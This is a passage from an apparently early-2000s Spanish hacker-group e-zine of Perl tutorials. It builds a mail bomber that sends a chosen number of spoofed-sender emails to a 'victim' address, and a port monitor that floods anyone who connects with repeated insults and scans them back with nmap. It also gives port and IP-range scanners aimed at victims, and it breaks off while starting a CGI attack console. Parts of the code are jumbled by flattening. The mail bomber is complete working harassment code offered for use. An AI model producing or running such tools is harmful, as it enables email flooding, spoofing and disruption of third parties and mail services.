. ====================================================================== ====. |=======~ 36.0.0 CREANDO UN MAIL BOMBER ~=================================== | ====================================================================== ===== - Para crear un programa de este estilo, primero tendremos que aprender a crear un cliente de mail, bueno espero que sabreis que saldra la ip de quien mando el mensaje, vosotros sabreis como usar otra podeis leer algun metodo en la ezine anterior en el articulo de Rah3. Para hacer un cliente de mail usaremos el modulo Net::SMTP pasaros aqui si quereis ( http://www.perldoc.com/perl5.6.1/lib/Net/SMTP.html ), o sino seguid leyendo, es muy facil hacerlo: Ejemplo: #!/usr/bin/perl use Net::SMTP; #Modulo que necesitamos $smtp = Net::SMTP->new('smtp.wanadoo.es', #creamos el nuevo objeto$smtp Hello => 'smtp.wanadoo.es', #Algunos servidores necesitan que les saludes Timeout=> 25,#Tiempo maximo de espera para que te responda el server por defecto 120 Debug => 1, #Para ver la respuesta interesante si quieres ver como funciona ); die "No se ha podido conectar al servidor $servidorSMTP" unless $smtp; print $smtp->domain,"\n"; #imprime el nombre de dominio $smtp->mail("jajajaj\@yahoo.es"); #mi mail $smtp->to('ddiegodisid@yahoo.es'); #mail a quien mandas, fijaros en el detalle que con #comillas simples no necesitas poner /@ $smtp->data(); #comienza el mensaje $smtp->datasend("To: Administrador\n"); $smtp->datasend("From:server\n"); $smtp->datasend("Subject:hola prueba\n"); #asunto $smtp->datasend("Pruebassssss\n"); #Mandamos este mensaje $smtp->dataend(); #termina el mensaje $smtp->quit();#nos piramos

SALIDA: [root@localhost mail]# perl mailclient.pl Net::SMTP: Net::SMTP(2.15) Net::SMTP: Net::Cmd(2.18) Net::SMTP: Exporter(5.562) Net::SMTP: IO::Socket::INET(1.25) Net::SMTP: IO::Socket(1.26) Net::SMTP: IO::Handle(1.21) Net::SMTP=GLOB(0x8192508)<<< 220 (wanadoo.es) ESMTP Welcome to our ESMTP server. Net::SMTP=GLOB(0x8192508)>>> EHLO smtp.wanadoo.es Net::SMTP=GLOB(0x8192508)<<< 250-smtp.wanadoo.es Hello ****************.es [xx.xx.130.56], pleased to meet you Net::SMTP=GLOB(0x8192508)<<< 250-ENHANCEDSTATUSCODES Net::SMTP=GLOB(0x8192508)<<< 250-8BITMIME Net::SMTP=GLOB(0x8192508)<<< 250-SIZE 536870912 Net::SMTP=GLOB(0x8192508)<<< 250-DSN Net::SMTP=GLOB(0x8192508)<<< 250-ONEX Net::SMTP=GLOB(0x8192508)<<< 250-XUSR Net::SMTP=GLOB(0x8192508)<<< 250 HELP (wanadoo.es) Net::SMTP=GLOB(0x8192508)>>> MAIL FROM: Net::SMTP=GLOB(0x8192508)<<< 250 2.1.0 ... Sender ok Net::SMTP=GLOB(0x8192508)>>> RCPT TO: Net::SMTP=GLOB(0x8192508)<<< 250 2.1.5 ... Recipient ok Net::SMTP=GLOB(0x8192508)>>> DATA Net::SMTP=GLOB(0x8192508)<<< 354 Enter mail, end with "." on a line by itself Net::SMTP=GLOB(0x8192508)>>> To: Administrador Net::SMTP=GLOB(0x8192508)>>> From:server Net::SMTP=GLOB(0x8192508)>>> Subject:hola prueba Net::SMTP=GLOB(0x8192508)>>> Pruebassssss Net::SMTP=GLOB(0x8192508)>>> Net::SMTP=GLOB(0x8192508)>>> . Net::SMTP=GLOB(0x8192508)<<< 250 2.0.0 g07JGIa07621 Message accepted for delivery Net::SMTP=GLOB(0x8192508)>>> QUIT Net::SMTP=GLOB(0x8192508)<<< 221 2.0.0 smtp.wanadoo.es closing connection * Esto sale gracias a que usamos la opcion debug, vemos que el mail ha sido mandado -> Message accepted for delivery bieennnn * Jojojo ahora llega el bucle lo pasaremos bene. Ejemplo: #!/usr/bin/perl use Net::SMTP; #Modulo que necesitamos motor del mail bomba, con un simple

for ($a=1;$a<=1000;$a++) { #creas el bucle y ya esta $smtp = Net::SMTP->new('smtp.wanadoo.es', #creamos el nuevo objeto$smtp Hello => 'smtp.wanadoo.es', #Algunos servidores necesitan que les saludes Timeout=> 25,#Tiempo maximo de espera para que te responda el server por defecto 120 ); die "No se ha podido conectar al servidor $servidorSMTP" unless $smtp; print "Enviado mensaje n $a\n"; $smtp->mail('jajajaj@yahoo.es'); #el mail con que voy a mandar $smtp->to('jojojo@eresmas.com'); #mail a quien mandas al mio no please $smtp->data(); #comienza el mensaje $smtp->datasend("To: Administrador\@yahoo.es\n"); $smtp->datasend("From:jojojo@eresmas.com\n"); $smtp->datasend("Subject:hola prueba\n"); #asunto $smtp->datasend("Mailbomba de disidents\n"); #Mandamos este mensaje $smtp->datasend("\n"); $smtp->dataend(); #termina el mensaje $smtp->quit();#nos piramos }

SALIDA: [root@localhost Enviado mensaje Enviado mensaje Enviado mensaje Enviado mensaje Enviado mensaje Enviado mensaje .... Enviado mensaje n 1000 [root@localhost mail]# - Pura diversion no quiero oir a nadie los programas mailbomba no funcionan, a que esperas a usar este xDD si no preguntadle a XanKaiSen que me facilito su mail para enviarle unos cuantos. * Veamos como quedaria un poco mas bonito y mejor: mail]# perl disidentsmail.pl n 1 n 2 n 3 n 4 n 5 n 6

<++> disidentsmailbomb.pl #!/usr/bin/perl

###################################################################### ################################### # PROGRAMA: DisidentsMailBomb v. 1.0 # # AUTOR: DDiego # # MAIL: DDiegodisid@yahoo.es # # URL: http:www.disidents.int-ltd.com # # MAILTEAM: Disisidents@yahoo.es # # Uso: disidentsmailbomb.pl [mail de mentira] [victim mail] [smtp server] [n de mails] [+d | -d] # ###################################################################### ################################### print " ################################################ \n"; print " # # \n"; print " # DisidentsMailBomb v.1.0 by DDiego # \n"; print " # # BOMB!!! ;D \n"; print " ################################################ ......**** \n";

use Net::SMTP; #Modulo que necesitamos die "sintaxis: $0 [mail de mentira] [mail de la victima] [servidor smtp] [n de mails] [+d | -d] Escriba $0 --help para mas ayuda\n" unless ($ARGV[0]); if ($ARGV[0] eq "--help") { &ayuda; } else { if ($ARGV[4] eq "+d") { $ARGV[4]=1; #Habilitado el modo debug } elsif ($ARGV[4] eq "-d") { $ARGV[4]=0; #Deshabilitado el modo debug } for ($a=1;$a<=$ARGV[3];$a++) { #creas el bucle y ya esta $smtp = Net::SMTP->new($ARGV[2], #creamos el nuevo objeto$smtp Hello => $ARGV[2], #Algunos servidores necesitan que les saludes Timeout=> 25,#Tiempo maximo de espera para que te responda el server por defecto 120 Debug => $ARGV[4] ); die "No se ha podido conectar al servidor $servidorSMTP" unless $smtp; print "Enviado mensaje n $a\n"; $smtp->mail($ARGV[0]); #el mail con que voy a mandar $smtp->to($ARGV[1]); #mail a quien mandas al mio no please $smtp->data(); #comienza el mensaje

mensaje

$smtp->datasend("To: $ARGV[1]\n"); #para $smtp->datasend("From: $ARGV[0]\n"); #desde $smtp->datasend("Subject:hola perro\n"); #asunto $smtp->datasend("Mailbomba de disidents\n"); #Mandamos este

$smtp->datasend("\n"); $smtp->dataend(); #termina el mensaje $smtp->quit();#nos piramos } #Cierre de for } #cierre de else ################## # Parte de ayuda # ################## sub ayuda { print "[mail de mentira]: Inventate un mail, es el que vera la victima cuando mire alguno de los miles\n"; print " de mails que le envies \n"; print "[mail de la victima]: Esta calro de quien sera el mail no xDD\n"; print "[servidor smtp]: Servidor para enviar mails smtp, usa el que quieras\n"; print "[n de mails]: Numero de mails a enviar\n"; print "[+d | -d]: Modo depuracion o debug, para ver en que paso falla el envio \n\n\n"; } print " ------------------------------------------------\n"; print " Disidents Hacker Team - 2002 -\n"; print " Webpage: http://www.disidents.int-ltd.com -\n"; print " Autor: DDiego -\n"; print " Mail: DDiegodisid\@yahoo.es -\n"; print " Mailteam: Disidents\@yahoo.es -\n"; print " ------------------------------------------------\n";

<--> - Cuiadooooooooo con esto que ya os veo venirrrrrr

. ====================================================================== ====. |=======~ 37.0.0 CREANDO UN MONITOR DE PUERTOS ~============================ | ====================================================================== ===== - Bueno sabiendo esto podemos ya crear nuestro propio monitor de puertos, y si nos scanean imprimir un pequeo mensaje de bienvenida y unos cuantos, empezaremos haciendo un monitor de puertos basico y mejorandolo poco a poco. Vamos a crear un socket que escuche por el puerto 27374 y imprima la frase Hola cacho CABRON cada vez que alguien se conecte xDD. Ejemplo: #!/usr/bin/perl use IO::Socket; #Creando socket

$socket = IO::Socket::INET->new( Proto LocalPort Listen Reuse

=> => => =>

'tcp', '27374', 6, 1);

die "No se ha podido crear el socket" unless $socket; #Comenzando la conexion print "-------------------------------------------------\n"; print "Disidentsportmonitor ONLINE -\n"; print "-------------------------------------------------\n"; my ($conexion, $buf); while ($conexion = $socket->accept()) { $conexion->autoflush(1); #autoflush sirve para crear un buffer temporal que se vacia #de forma periodica se le da un valor distinto de 0 que #significa q se vaciara de forma automatica print "Conexion desde: ",inet_ntoa((unpack_sockaddr_in(getpeername $conexion))[1])," \n";

$servidor=inet_ntoa((unpack_sockaddr_in(getpeername $conexion))[1]); #PARTE DE MANDAR MENSAJES print "MANDANDO MENSAJE to $servidor - ";

print $conexion "Hola cacho CABRON\n";#Mensaje que enviara al servidor print "OK \n\n"; close $conexion; #cerramos la conexion con el host print "conexion cerrada con $servidor \n\n"; }

- Ahora supongamos que queremos enviar mas de un mensaje al que se conecte por ej 1000 mensajes para ello solo tendriamos que usar for:

#PARTE print frase

DE MANDAR MENSAJES "MANDANDO MENSAJES to $servidor - "; for($a=1;$a<=1000;$a++) #mandemosle 1000 veces la

{ print $conexion "Hola cacho CABRON\n"; } print "OK \n"; close $conexion; #cerramos la conexion con el host print "conexion cerrada con $servidor \n\n"; }

* Estamos viendo que solo acepta una conexion, para que acepte mas de un cliente usaremos el modulo IO::Select, veremos como funciona:

#!/usr/bin/perl ############################################## # PROGRAMA: Disidentsportmonitor 1.0 BETA # # AUTOR: DDiego # # MAIL: DDiegodisid@yahoo.es # # URL: http:www.disidents.int-ltd.com # # MAILTEAM: Disidents@yahoo.es # ############################################## use IO::Socket;

use IO::Select; #Cargamos el modulo IO::Select #Creando socket

$socket = IO::Socket::INET->new( Proto LocalPort Listen Reuse

=> => => =>

'tcp', '27374', 6, 1);

die "No se ha podido crear el socket" unless $socket; print "-------------------------------------------------\n"; print "Disidentsportmonitor ONLINE -\n"; print "-------------------------------------------------\n"; $select = new IO::Select( $socket ); while(@ready = $select->can_read ) { foreach $conexion (@ready) { if($conexion == $socket) { #Ahora crearemos el socket nuevo $nuevosocket = $socket->accept; $select->add($nuevosocket); #aade el nuevo socket abierto $nuevosocket->autoflush(1); #autoflush sirve para crear un buffer temporal que se vacia #de forma periodica se le da un valor distinto de 0 que #significa q se vaciara de forma automatica print "Conexion desde: ",inet_ntoa((unpack_sockaddr_in(getpeername $nuevosocket))[1])," \n"; $servidor=inet_ntoa((unpack_sockaddr_in(getpeername $nuevosocket))[1]);

print

"MANDANDO MENSAJES to $servidor - ";

for($a=1;$a<=1000;$a++) #mandemosle 1000 veces la frase si pones ;; ya sabes ;) { print $nuevosocket "Hola cacho CABRON\n"; } print "OK \n"; }#cierre if } #Cierre foreach }#Cierre while

- Ahora que queremos hacer algo mas serio por ejemplo que cuando se conecten a ti, automaticamente te envien un mail a una direccion de correo que tu

elijas con la ip que ha conectado a que hora y ficha, en unos segundos se enviara el mail, y el host que se conecto perdera la conexion.

#!/usr/bin/perl ############################################## # PROGRAMA: Disidentsportmonitor 1.0 # # AUTOR: DDiego # # MAIL: DDiegodisid@yahoo.es # # URL: http:www.disidents.int-ltd.com # # MAILTEAM: Disidents@yahooes # ############################################## use IO::Socket; use Net::SMTP; #Modulo que necesitamos para avisar por mail al admin $socket = IO::Socket::INET->new( Proto LocalPort escucha Listen Reuse => 'tcp', #Protocolo => '27374',#Puerto a la => 6, => 1);

die "No se ha podido crear el socket" unless $socket; #Comenzando la conexion print "-------------------------------------------------\n"; print "Disidentsportmonitor ONLINE -\n"; print "-------------------------------------------------\n"; my ($conexion, $buf); while ($conexion = $socket->accept()) { $conexion->autoflush(1); #autoflush sirve para crear un buffer temporal que se vacia #de forma periodica se le da un valor distinto de 0 que #significa q se vaciara de forma automatica print "Conexion desde: ",inet_ntoa((unpack_sockaddr_in(getpeername $conexion))[1])," "; $servidor=inet_ntoa((unpack_sockaddr_in(getpeername $conexion))[1]); $hora=localtime(); print "=> $hora\n"; #parte del mail de aviso

$smtp = Net::SMTP->new('smtp.wanadoo.es', #creamos el nuevo objeto$smtp Hello => 'smtp.wanadoo.es', #Algunos servidores necesitan que les saludes Timeout=> 25,#Tiempo maximo de espera para que te responda el server por defecto 120 #si te falla el nvio del mail habilita el modo-> Debug => 1, ); die "No se ha podido conectar al servidor $servidorSMTP" unless $smtp;

print "Enviando mensaje\n"; $smtp->mail("aviso\@yahoo.es"); #el mail con que voy a mandar $smtp->to('tumail@yahoo.es'); #mail a quien mandas al mio no please $smtp->data(); #comienza el mensaje $smtp->datasend("To: tumail\@yahoo.es\n"); $smtp->datasend("From:aviso\@yahoo.es\n"); $smtp->datasend("Subject:Escaneo\n"); #asunto $smtp->datasend("Conexion con ip: $servidor a $hora\n"); #Mandamos este mensaje $smtp->dataend(); #termina el mensaje $smtp->quit();#nos piramos print "Mensaje enviado\n"; close $conexion; #cerramos la conexion con el host } * Asi de facil - Jo y nos damos cuenta de una cosa con nuestro portmonitor, que pasaria si hubiera mas de una conexion a la vez??, pues que nuestro socket no podria responder a todos y no podriamos aceptar su conexion ni descubrir quien es , para ello usaremos el modulo "use IO::Select", y asi podremos crear mas sockets a la vez para recibir mas clientes en nuestra maquina, veamos un poco de code: #!/usr/bin/perl ################################################ # PROGRAMA: Disidentsportmonitor 1.1 multiplex # # AUTOR: DDiego # # MAIL: DDiegodisid@yahoo.es # # URL: http:www.disidents.int-ltd.com # # MAILTEAM: Disidents@yaho.es # ################################################ use IO::Socket; use IO::Select; #Cargamos el modulo IO::Select

#Creando socket $socket = IO::Socket::INET->new( Proto LocalPort Listen Reuse => => => => 'tcp', '1100', 6, 1);

die "No se ha podido crear el socket" unless $socket; print "-------------------------------------------------\n"; print "Disidentsportmonitor ONLINE -\n"; print "-------------------------------------------------\n"; $select = new IO::Select( $socket ); while(@ready = $select->can_read ) { foreach $conexion (@ready) {

if($conexion == $socket) { #Ahora crearemos el socket nuevo while ($nuevosocket = $socket->accept()) { $select->add($nuevosocket); #aade el nuevo socket abierto $nuevosocket->autoflush(1); #autoflush sirve para crear un buffer temporal que se vacia #de forma periodica se le da un valor distinto de 0 que #significa q se vaciara de forma automatica print "Conexion desde: ",inet_ntoa((unpack_sockaddr_in(getpeername $nuevosocket))[1])," \n"; close $nuevosocket; }#cierre if } #Cierre foreach }#Cierre while } #cierre 2 while

- Umm ahora aadiremos lo de enviar mails , << y trabajara conjuntamente con nmap>>, nos mandara ip, hora y fecha del atacante, el sistema que esta utilizando y el tambien se llevara una escaneada por parte nuestra xDDD. <++> disidentsportm.pl #!/usr/bin/perl ###################################################################### ############################################# # PROGRAMA: Disidentsportmonitor v1.1 ATTACK and SEND # # AUTOR: DDiego # # MAIL: DDiegodisid@yahoo.es # # URL: http:www.disidents.int-ltd.com # # MAILTEAM: Disidents@yahoo.es # # Uso: disidentsportm.pl [puerto] [+nmap | -nmap] [+mail | mail] [mail a enviar] [servidor stmp] [+d | -d] # ###################################################################### ############################################# use IO::Socket; use IO::Select; use Net::SMTP; #Cargamos el modulo IO::Select #Modulo que necesitamos para avisar por mail al admin

die "sintaxis: $0 [puerto] [+nmap | -nmap] [+mail | - mail] [mail a enviar] [servidor stmp] [+d | -d] Escribe $0 --help para mas ayuda\n" unless ($ARGV[0]);

$puerto=$ARGV[0]; $nmap=$ARGV[1]; $usarmail=$ARGV[2]; $mimail=$ARGV[3]; $servsmtp=$ARGV[4]; $debugmode=$ARGV[5]; if ($puerto eq "--help") { #Si el primer argumento fuera ayuda &ayuda;

} else { $socket = IO::Socket::INET->new( Proto LocalPort Listen Reuse => => => => 'tcp', "$puerto", 6, 1);

die "No se ha podido crear el socket" unless $socket; print " ################################################################### \n"; print " # # \n"; print " # DisidentsPortMonitor v1.1 Attack and Send by DDiego # \n"; print " # # \n"; print " ################################################################### \n\n"; $select = new IO::Select( $socket ); while (@ready = $select->can_read ) { foreach $conexion (@ready) { if($conexion == $socket) { while ($nuevosocket = $socket->accept()) { #Ahora crearemos el socket nuevo $select->add($nuevosocket); #aade el nuevo socket abierto $nuevosocket->autoflush(1); #autoflush sirve para crear un buffer temporal que se vacia #de forma periodica se le da un valor distinto de 0 que #significa q se vaciara de forma automatica

print "Conexion desde: ",inet_ntoa((unpack_sockaddr_in(getpeername $nuevosocket))[1])," \n"; #Sacamos la ip de quien conecto $servidor=inet_ntoa((unpack_sockaddr_in(getpeername $nuevosocket))[1]); #Guardamos la ip en una variable $hora=localtime(); #lo mismo con la hora print "=> $hora\n"; #Imprime la hora en pantalla if ($nmap eq "+nmap") {

&nmap;

} elsif ($nmap eq "-nmap") { "NMAP OPCION DISABLED\n"; if ($usarmail eq "+mail") { &avisar; if ($debugmode eq "+d") { $debug=1; } else { } } elsif ($usarmail eq "-mail"){ print "MAIL OPCION DISABLED\n"; ################### #Parte de la ayuda# ################### sub ayuda { monitorizar\n"; print "[puerto]: n de puerto a } } print

$debug=0;

print "[+nmap | -nmap]: Usar scanner nmap, si no lo tienes no lo uses, esta puesto en modo SYN Sealth, este \n"; print " modo de escaneo solo funciona como superusuario, pero puedes cambiar los parametros,\n"; print " lee el code es facil y esta comentado \n"; print "[+mail | -mail]: Habilita o deshabilita el modo de aviso por mail\n"; print "[mail a enviar]: Mail a donde vas a enviar el aviso\n"; print "[servidor stmp]: Servidor de envio de mail smtp que usas ej: smtp.terra.es smtp.wanadoo.es etc .... \n"; print "[+d | -d]: Habilita o deshabilita el modo de depuracion, para ver como envia el mail, y ver si \n"; print " los parametros que has introducido son correctos\n"; }

########################################################## #Parte de scaneo con nmap, en win se puede usar el winmap# ########################################################## sub nmap { $remoteos= `nmap -sS -O $servidor`; #podeis poner el escaneo con nmap a vuestro gusto print "$remoteos\n"; #imprime el host remoto en la pantalla }

########################## #Parte del mail de aviso# ########################## sub avisar { $smtp = Net::SMTP->new($servsmtp, #creamos el nuevo objeto smtp, servidor smtp pon el que utilices Hello => $servsmtp, #Algunos servidores necesitan que les saludes Timeout=> 25,#Tiempo maximo de espera para que te responda el server por defecto 120 Debug => $debugmode, #Habilita el modo debug si quieres ver como envia ); die "No se ha podido conectar al servidor $servidorSMTP" unless $smtp; print "Enviando mensaje\n"; $smtp->mail("aviso\@yahoo.es"); #el mail con que voy a mandar $smtp->to($mimail); #mail a quien mandas al mio no please $smtp->data(); #comienza el mensaje $smtp->datasend("To: $mimail\n"); $smtp->datasend("From:aviso\@yahoo.es\n"); $smtp->datasend("Subject:Escaneo\n"); #asunto $smtp->datasend("Conexion con ip: $servidor a $hora \n"); #Mandamos este mensaje $smtp->datasend("Sistema operativo del atacante: $remoteos \n"); #Mandamos este mensaje $smtp->dataend(); #termina el mensaje $smtp->quit();#nos piramos print "Mensaje enviado\n"; }#cierre subrutina close $nuevosocket; } } } } }

<-->

. ====================================================================== ====.

|=======~ 38.0.0 CREANDO NUESTRO PROPIO SCANNER DE PUERTOS ~================ | ====================================================================== ===== - Como es eso que usas scanners hechos por otros???, eso ya se acabo,en esta parte vamos a usar modulos o librerias de perl CPAN y crearemos un scanner de puertos en pocas lineas y de manera facil y eficad, para encontrar los modulos de perl recordemos que tenemos que ir a (http://www.perl.com/cpan) o a (http://www.cpan.org), para llamar a estos modulos usaremos: use nombredelmodulo, en este caso usaremos el modulo IO::Socket y lo declararemos asi al inicio del script: "use IO::Socket;" tenemos la ayuda para este modulo en (http://search.cpan.org/doc/JHI/perl5.7.2/ext/IO/lib/ IO/Socket.pm) y (http://search.cpan.org/doc/JHI/perl5.7.2/ext/IO/lib/IO/ Socket/INET.pm), veamos el codigo comentado: Ejemplo: #!/usr/bin/perl use IO::Socket; #cargamos el modulo IO::Socket print "------------------------------------------------\n"; print "Disidentscanner by DDiego -\n"; print "------------------------------------------------\n"; print "D I S I D E N T S -\n"; print "L O S F U E R A D E L A L E Y -\n"; print "------------------------------------------------\n"; print "- Nombre del server a atacar: "; $servidor=<STDIN>; #Se introduce la ip del servidor print "- Puerto inicio de escaneo: "; $pinicio=<STDIN>; #Se introduce el puerto de inicio del escaneo print "- Puerto final de escaneo: "; $pfinal=<STDIN>; #Se introduce el puerto final del escaneo for ($pabiertos=$pinicio;$pabiertos<=$pfinal;$pabiertos++) #Un bucle for, para escanear #el rango de puertos introducido { $sock = IO::Socket::INET->new(PeerAddr, "$servidor", PeerPort, "$pabiertos", Proto, 'tcp'); #PeerAddr es el servidor que vamos a escanear #PeerPort son los puertos #Proto es el protocolo que utiliza if ($sock) { #si conecta imprimira lo siguiente los puertos que estan abiertos print "------------------------------------------------\n";

print "-\n";

PUERTO: $pabiertos ABIERTO

print "------------------------------------------------\n"; } else { #Si no conecta imprimira los puertos cerrados print "$pabiertos chapao\n"; } }

SALIDA: [root@localhost arti]# perl disidentscanner.pl -----------------------------------------------Disidentscanner by DDiego -----------------------------------------------D I S I D E N T S L O S F U E R A D E L A L E Y ------------------------------------------------ Nombre del server a atacar: 192.168.0.1 - Puerto inicio de escaneo: 50 - Puerto final de escaneo: 60 50 chapao 51 chapao 52 chapao -----------------------------------------------PUERTO: 53 ABIERTO -----------------------------------------------54 chapao 55 chapao 56 chapao 57 chapao 58 chapao 59 chapao 60 chapao [root@localhost arti]#

- En la linea 15 comas usar =>

podrian verse de otra

forma mas clara, en vez

usar

$sock = IO::Socket::INET->new(PeerAddr, "$servidor", PeerPort, "$pabiertos", Proto, 'tcp'); * Asi: $sock = IO::Socket::INET->new(PeerAddr => $servidor, PeerPort => $pabiertos, Proto => 'tcp');

- Podemos hacer que nuestro scanner sea mas comodo de usar, con 3 argumentos , quedaria algo asi: Ejemplo: #!/usr/bin/perl use IO::Socket; #cargamos el modulo IO::Socket die "sintaxis: disidentscanner.pl \n" unless ($ARGV[2]); #si no mete los dos argumentos imprmira la sintaxis del programa print "------------------------------------------------\n"; print "Disidentscanner by DDiego -\n"; print "------------------------------------------------\n"; print "D I S I D E N T S -\n"; print "L O S F U E R A D E L A L E Y -\n"; print "------------------------------------------------\n"; for ($pabiertos=$ARGV[1];$pabiertos<=$ARGV[2];$pabiertos++) { $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0], #La ip sera el primer argumento PeerPort => "$pabiertos", Proto => 'tcp'); if ($sock) { #si conecta imprimir print "- PUERTO: $pabiertos ABIERTO\n"; } } #Cierre de for

. ====================================================================== ====. |===~ 38.1.0 CREANDO UN SCANNER DE PUERTOS CON OPCION DE ESCANEAR RANGOS ~= | ====================================================================== ===== - Umm y se nos viene a la mente muchas cosas acabando de hacer nuestro primer scanner de puertos,entre otras como haremos para poder scannear puertos, es muy faciilllllllllllll (claro como todo cuando lo sabes). - Lo primero que vamos a hacer es quitar los puntos de la ip, imaginemos que

tenemos la ip 192.168.0.1 y la dejamos como 192 168 0 1, como vimos mas arriba en el ejemplo de split , supongamos que queremos escanear de 192.168.0.1 a 192.168.0.150 ,las dividiriamos y quedarian como 192 168 0 1 y 192 168 0 150 , ahora solo tendriamos que ir de 1 a 150, veamos code comentado: #!/usr/bin/perl $ip1=$ARGV[0]; #meteriamos como argumento 192.168.0.1 $ip2=$ARGV[1]; #meteriamos como argumento 192.168.0.140 @ipini = split(/\./,$ip1);#sustituye el punto por espacios @ipfin = split(/\./,$ip2);#sustituye el punto por espacios print "@ipini\n"; #imprimira 192 168 0 1 print "@ipini[3]\n"; #imprimira 1 print "@ipfin\n"; #imprimira 192 168 0 140 print "@ipfin[3]\n"; #imprimira 140 - Veis ahora podemos acceder a cada uno de los elementos,el motor del scaner quedaria asi: Ejemplo: #!/usr/bin/perl use IO::Socket; $port=80; #numero de puerto $ip1=$ARGV[0]; $ip2=$ARGV[1]; @ipini = split(/\./,$ip1);#sustituye el punto por espacios @ipfin = split(/\./,$ip2);#sustituye el punto por espacios for ($rango=$ipini[3];$rango<=$ipfin[3];$rango++) { $ipscan="$ipini[0].$ipini[1].$ipini[2].$rango";#aqui creamos las ips que vamos a scanear #print "$ipscan\n"; $sock = IO::Socket::INET->new(PeerAddr => $ipscan, #La ip sera el primer argumento PeerPort => "$port", Proto => 'tcp'); if ($sock) { #si conecta imprimir print "- PUERTO: $ips $port ABIERTO\n"; } else { print "$ips $port close\n"; }

* Biennnnnnn lo hemos conseguido, vamos a dejarlo mas guapo ;D <++> disidentscanner.pl #!/usr/bin/perl

###################################################################### ######################### # PROGRAMA: Disidentscanner v.1.0 DualMode # # AUTOR: DDiego # # # MAIL: DDiegodisid@yahoo.es # # # URL: http:www.disidents.int-ltd.com # # # MAILTEAM: Disidents@yahoo.es # # # Uso modo single: disidentscanner.pl [single] [ip] [puerto de inicio] [puerto final] # # Uso modo range: disidentscanner.pl [range] [ip de inicio] [ip final] [puerto] # ###################################################################### ######################### use IO::Socket; $metodo=$ARGV[0]; #Tipo de metodo por rangos o solo una ip &inicio; die "sintaxis: $0 [range | single] Escriba $0 help_single para obtener mas ayuda para el escaneo de un solo host Escriba $0 help_range para obtener mas ayuda para el escaneo de un rango de ips\n" unless ($ARGV[0]); if ($metodo eq "single") { } if ($metodo eq "range") { } if ($ARGV[0] eq "help_single") { } if ($ARGV[0] eq "help_range") { &ayudasingle; &range; &single;

&ayudarange }

sub single { $victima=$ARGV[1]; #ip victima $portini=$ARGV[2]; #puerto de inicio $portfin=$ARGV[3]; #puerto final print "El puerto de inicio $portini no puede ser mayor que el puerto final $portfin\n"; exit; } die "sintaxis: $0 [single] [host o ip] [puerto de inicio] [puerto final]\n" unless ($ARGV[3]); for ($pabiertos=$portini;$pabiertos<=$portfin; $pabiertos++) { if ($portini>$portfin) {

$sock = IO::Socket::INET->new(PeerAddr => $victima, #La ip sera el primer argumento PeerPort => "$pabiertos", Proto => 'tcp'); if ($sock) { #si

conecta imprimir ABIERTO\n";

print "- PUERTO: $pabiertos } } #Cierre de for }#cierre subrutina single

sub range {

$ip1=$ARGV[1]; $ip2=$ARGV[2]; $port=$ARGV[3];

die "sintaxis: $0 [range] [ip de inicio] [ip final] [puerto]\n" unless ($ARGV[3]); espacios espacios @ipini = split(/\./,$ip1);#sustituye el punto por @ipfin = split(/\./,$ip2);#sustituye el punto por

if ($ipini[3]>255 | $ipfin[3]>255){ print "El rango de ips tiene que estar entre 1 y 255 $ipfin no es posible\n"; exit; } elsif ($ipini[3]>$ipfin[3]) { print "La ip de inicio no puede ser mayor que la ip final introduzca bien los parametros\n"; exit; } for ($rango=$ipini[3];$rango<=$ipfin[3];$rango++) { $ipscan="$ipini[0].$ipini[1].$ipini[2].$rango"; #preparamos las ip $sock = IO::Socket::INET->new(PeerAddr => $ipscan, #La ip sera el primer argumento PeerPort => "$port", Proto => 'tcp'); if ($sock) #si conecta imprimir { } }

print "$ipscan - $port ABIERTO\n";

#cierre de for } #cierre subrutina range sub inicio {

print " ################################################################### \n"; print " # # \n"; print " # Disidentscanner v.1.0 DualMode by DDiego # \n"; print " # # \n"; print " ################################################################### \n\n"; } ################## # Parte de ayuda # ################## sub ayudasingle { print "[single]: Parametro para usar el modo de escaneo a una sola ip\n"; print "[ip o host]: ip de la victima\n"; print "[puerto de inicio]:Puerto de inicio del escaneo\n"; print "[puerto final]: Puerto final del escaneo\n"; } sub ayudarange { Parametro para usar el modo Direccion ip de inicio\n"; Direccion ip final\n"; Puerto\n"; print "[range]: de escaneo de varias ip\n"; print "[ip de inicio]: print "[ip final]: print "[puerto]: }

print " ------------------------------------------------\n"; print " Disidents Hacker Team - 2002 -\n"; print " Webpage: http://www.disidents.int-ltd.com -\n"; print " Autor: DDiego -\n"; print " Mail: DDiegodisid\@yahoo.es -\n"; print " Mailteam: Disidents\@yahoo.es -\n"; print " ------------------------------------------------\n";

<-->

Good

. ====================================================================== ====. |=======~ 39.0.0 CREANDO UNA CONSOLA PARA CGIS ~=========================== | ====================================================================== ===== - Y quien no ha visto alguna consola de estas que circulan por internet, en manos de cualquier script kiddie, buscando servers vulnerables como unos posesos y creyendose dioses por ello, pero nosotros somos nobles artesanos que con nuestras manos y mentes contruimos todas las herramientas que queramos facilmente a nuestro gusto, mejores o peores pero son nuestras ;). Para ello usaremos el modulo LWP::Simple este modulo permite descargar,ver y analizar paginas web facilmente, veamos code comentado. - LWP::Simple no tiene muchas opciones, veamos alguna de ellas: Ejemplo: #!/usr/bin/perl use LWP::Simple; $page = get "http://192.168.0.1"; print "$page\n"; * Ahora imprimira la pagina principal del servidor, pero hay un problema que si pusieramos: Ejemplo: #!/usr/bin/perl use LWP::Simple; $page = getprint "http://localhost/gsfdg"; print "$page\n";

* No saldria nada, por eso vamos a usar getprint que funciona = pero nos da respuesta si encuentra o no la pagina web, probemoslo:

Ejemplo: #!/usr/bin/perl use LWP::Simple; $page = getprint "http://localhost/gsfdg"; print "$page\n";

SALIDA: [root@localhost scancgis]# perl getprint.pl 404 Not Found 404

* Claro la pagina no existe, ahora veremos como se hace la consola facilmete <++> disidentsconsola.pl #!/usr/bin/perl ######################################################## # PROGRAMA: DisidentsConsola v. 1.0 # # AUTOR: DDiego # # MAIL: DDiegodisid@yahoo.es # # URL: http:www.disidents.int-ltd.com # # MAILTEAM: Disisidents@yahoo.es # # Sintaxis: disidentsconsola.pl [ip/host del servidor] # ######################################################## use LWP::Simple; #Modulo que vamos a necesitar die "sintaxis: $0 [ip/host del servidor]\n" unless ($ARGV[0]); #Si no metes la ip te imprime el mensaje de la sintaxis $server=$ARGV[0]; #Un argumento para la linea de comandos host o ip del server print " ############################################### \n"; print " # # \n"; print " # DisidentsConsola v.1.0 by DDiego # \n"; print " # # \n"; print " ############################################### \n"; while (1) { print "Disidentsconsola: "; $comando= <STDIN>; #Recogemos el momando chop $comando; #Quita el enter if ($comando =~ s/ /+/g) #Sustituye los espacios por + { print 